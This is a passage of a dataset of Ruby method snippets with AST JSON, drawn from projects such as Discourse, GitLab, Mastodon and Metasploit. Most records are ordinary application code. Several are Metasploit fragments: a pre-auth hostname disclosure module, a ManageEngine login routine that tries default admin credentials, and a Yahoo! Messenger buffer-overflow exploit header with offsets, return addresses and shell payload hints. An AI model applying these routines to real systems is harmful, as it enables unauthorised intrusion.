FILENAME\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e7862d69-71fb-489f-8751-8f3e7bd260fb"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":149,"raw_source":"def self.emojis_db_file\n @emojis_db_file ||= DiscourseEmojis.paths[:emojis]\n end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"emojis_db_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@emojis_db_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEmojis\"]},\"paths\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emojis\"]}]}]}]}","id":"35b079c9-a7c2-4ecb-b9c3-ba1e9dbf1cb2"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/view.rb","start_line":17,"raw_source":"def to_html\n render(record)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[null,\"record\"]}]}]}","id":"c9cac4a8-7827-4357-98d5-3c04056c6663"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":638,"raw_source":"def detach_watcher(tw, ino, close_io = true)\n if @follow_inodes && tw.ino != ino\n log.warn(\"detach_watcher could be detaching an unexpected tail_watcher with a different ino.\",\n path: tw.path, actual_ino_in_tw: tw.ino, expect_ino_to_close: ino)\n end\n tw.watchers.each do |watcher|\n event_loop_detach(watcher)\n end\n tw.detach(@shutdown_start_time)\n\n tw.close if close_io\n\n if @pf && tw.unwatched && (@follow_inode || !@tails[tw.path])\n target_info = TargetInfo.new(tw.path, ino)\n @pf.unwatch(target_info)\n end\n end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"detach_watcher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tw\"]},{\"type\":\"arg\",\"children\":[\"ino\"]},{\"type\":\"optarg\",\"children\":[\"close_io\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@follow_inodes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"ino\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"ino\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"detach_watcher could be detaching an unexpected tail_watcher with a different ino.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actual_ino_in_tw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"ino\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_ino_to_close\"]},{\"type\":\"lvar\",\"children\":[\"ino\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"watchers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"watcher\"]}]},{\"type\":\"send\",\"children\":[null,\"event_loop_detach\",{\"type\":\"lvar\",\"children\":[\"watcher\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"detach\",{\"type\":\"ivar\",\"children\":[\"@shutdown_start_time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"close_io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"close\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"unwatched\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@follow_inode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"path\"]}]},\"!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TargetInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"ino\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf\"]},\"unwatch\",{\"type\":\"lvar\",\"children\":[\"target_info\"]}]}]},null]}]}]}","id":"2d5d2079-327f-45a3-b1e3-788ed81c02c7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":268,"raw_source":"def count_key(value)\n # value may be an array if the finder used in `count_by_state` added an\n # additional `group by`. Anyway we are sure that state will be always the\n # last item because it's added as the last one to the query.\n value = Array(value).last\n klass.available_states.key(value)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"count_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"available_states\"]},\"key\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"59492bd6-5244-4aaf-af68-794a89089274"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/filters/keywords_controller.rb","start_line":19,"raw_source":"def create\n @keyword = current_account.custom_filters.find(params[:filter_id]).keywords.create!(resource_params)\n\n render json: @keyword, serializer: REST::FilterKeywordSerializer\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keyword\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"custom_filters\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_id\"]}]}]},\"keywords\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"resource_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@keyword\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"FilterKeywordSerializer\"]}]}]}]}]}]}","id":"76e55892-b4f6-45e7-90c5-a69ce0fec212"} {"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20211115154021_nullify_invalid_tag_fields.rb","start_line":3,"raw_source":"def run\n Tag.where(bg_color_hex: \"\").or(Tag.where(text_color_hex: \"\")).find_each do |tag|\n # presence here selects non-empty strings if set (avoiding unsetting valid values)\n # but nullifies empty tag colors\n tag.update_columns(\n bg_color_hex: tag.bg_color_hex.presence,\n text_color_hex: tag.text_color_hex.presence,\n )\n end\n\n # normalize empty string to nil (alias_for? behaved correctly already), this is just cleanup\n Tag.where(alias_for: \"\").update(alias_for: nil)\n\n Tag.where.not(alias_for: nil).find_each do |aliased_tag|\n # this is expected to not do anything - based on this query in blazer giving 0 rows\n # (there are 64 with aliases, all valid)\n\n # SELECT tags.alias_for, t2.name FROM tags\n # LEFT JOIN tags AS t2 ON tags.alias_for = t2.name\n # WHERE tags.alias_for IS NOT NULL\n # AND tags.alias_for != ''\n # AND t2.name IS NULL;\n\n aliased_tag.validate\n\n if aliased_tag.errors.any? { |e| e.type == \"alias_for must refer to an existing tag\" }\n aliased_tag.update_column(:alias_for, nil)\n end\n end\n end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bg_color_hex\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_color_hex\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bg_color_hex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"bg_color_hex\"]},\"presence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_color_hex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"text_color_hex\"]},\"presence\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alias_for\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alias_for\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alias_for\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"aliased_tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_tag\"]},\"validate\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_tag\"]},\"errors\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"alias_for must refer to an existing tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_tag\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"alias_for\"]},{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}","id":"0f22e41d-bac3-4ee0-bac0-bd030d40c2b4"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/sentiment/post_classification.rb","start_line":178,"raw_source":"def transform_result(result)\n hash_result = {}\n result.each { |r| hash_result[r[:label]] = r[:score] }\n hash_result\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_result\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"score\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash_result\"]}]}]}","id":"d4757e21-3e13-42bc-af82-bddc18bf16c2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/checkpoint_hostname.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',\n 'Description' => %q{\n This module sends a query to the port 264/TCP on CheckPoint Firewall-1\n firewalls to obtain the firewall name and management station\n (such as SmartCenter) name via a pre-authentication request. The string\n returned is the CheckPoint Internal CA CN for SmartCenter and the firewall\n host. Whilst considered \"public\" information, the majority of installations\n use detailed hostnames which may aid an attacker in focusing on compromising\n the SmartCenter host, or useful for government, intelligence and military\n networks where the hostname reveals the physical location and rack number\n of the device, which may be unintentionally published to the world.\n },\n 'Author' => [ 'aushack' ],\n 'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference\n 'References' => [\n # aushack - None? Stumbled across, probably an old bug/feature but unsure.\n [ 'URL', 'https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ],\n [ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ]\n ],\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(264),\n ]\n )\n end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module sends a query to the port 264/TCP on CheckPoint Firewall-1\\n\"]},{\"type\":\"str\",\"children\":[\" firewalls to obtain the firewall name and management station\\n\"]},{\"type\":\"str\",\"children\":[\" (such as SmartCenter) name via a pre-authentication request. The string\\n\"]},{\"type\":\"str\",\"children\":[\" returned is the CheckPoint Internal CA CN for SmartCenter and the firewall\\n\"]},{\"type\":\"str\",\"children\":[\" host. Whilst considered \\\"public\\\" information, the majority of installations\\n\"]},{\"type\":\"str\",\"children\":[\" use detailed hostnames which may aid an attacker in focusing on compromising\\n\"]},{\"type\":\"str\",\"children\":[\" the SmartCenter host, or useful for government, intelligence and military\\n\"]},{\"type\":\"str\",\"children\":[\" networks where the hostname reveals the physical location and rack number\\n\"]},{\"type\":\"str\",\"children\":[\" of the device, which may be unintentionally published to the world.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-12-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[264]}]}]}]}]}]}","id":"ca840520-1ed3-47c6-a3bd-1226186942a0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/manageengine_auth_upload.rb","start_line":208,"raw_source":"def login_it360\n # Do we already have a valid cookie? If yes, just return that.\n if datastore['IAMAGENTTICKET']\n cookie_name = get_it360_cookie_name\n cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'\n return cookie\n end\n\n # get the correct path, host and port\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri('/')\n })\n\n if res && res.redirect?\n uri = [ res.redirection.port, res.redirection.path ]\n else\n return nil\n end\n\n cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])\n\n if cookie != nil\n return cookie\n elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil\n # we've tried with the default guest password, now let's try with the default admin password\n cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')\n if cookie != nil\n return cookie\n else\n # Try one more time with the default admin login for some versions\n cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')\n if cookie != nil\n return cookie\n end\n end\n end\n\n nil\n end","complexity_score":69.45,"ast_json":"{\"type\":\"def\",\"children\":[\"login_it360\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IAMAGENTTICKET\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie_name\",{\"type\":\"send\",\"children\":[null,\"get_it360_cookie_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"IAMAGENTTICKET\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cookie_name\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IAMAGENTTICKET\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"redirect?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"redirection\"]},\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"redirection\"]},\"path\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"authenticate_it360\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"guest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"JSESSIONID\"]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"authenticate_it360\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"administrator\"]},{\"type\":\"str\",\"children\":[\"administrator\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"authenticate_it360\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},null]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"c906238c-cade-47b3-95d0-cbabbe208d7f"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/places_controller.rb","start_line":7,"raw_source":"def index\n @places = current_user.places.page(params[:page]).per(20)\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@places\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"places\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[20]}]}]}]}","id":"224cb4d2-5f60-447f-b8f1-ea16ada6c61a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/gss/spnego_neg_token_targ.rb","start_line":36,"raw_source":"def mech_list_mic\r\n self[:mech_list_mic].value\r\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mech_list_mic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"mech_list_mic\"]}]},\"value\"]}]}","id":"58414242-cf99-47bd-9518-5387fcb63d7f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/zoom_link_service.rb","start_line":33,"raw_source":"def can_add_link?\n can_change_link? && !@added_meeting\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_add_link?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_change_link?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added_meeting\"]},\"!\"]}]}]}","id":"5f66c075-997b-49ee-8a4a-54edd55b1a4d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/yahoomessenger_server.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX\n Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.\n By sending an overly long string to the \"Server()\" method, and then calling\n the \"Send()\" method, an attacker may be able to execute arbitrary code.\n Using the payloads \"windows/shell_bind_tcp\" and \"windows/shell_reverse_tcp\"\n yield for the best results.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'MC' ],\n 'References' => [\n [ 'CVE', '2007-3147' ],\n [ 'OSVDB', '37082' ]\n ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'process',\n },\n 'Payload' => {\n 'Space' => 800,\n 'BadChars' => \"\\x00\\x09\\x0a\\x0d'\\\\\",\n 'StackAdjustment' => -3500,\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],\n [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]\n ],\n 'DisclosureDate' => '2007-06-05',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' 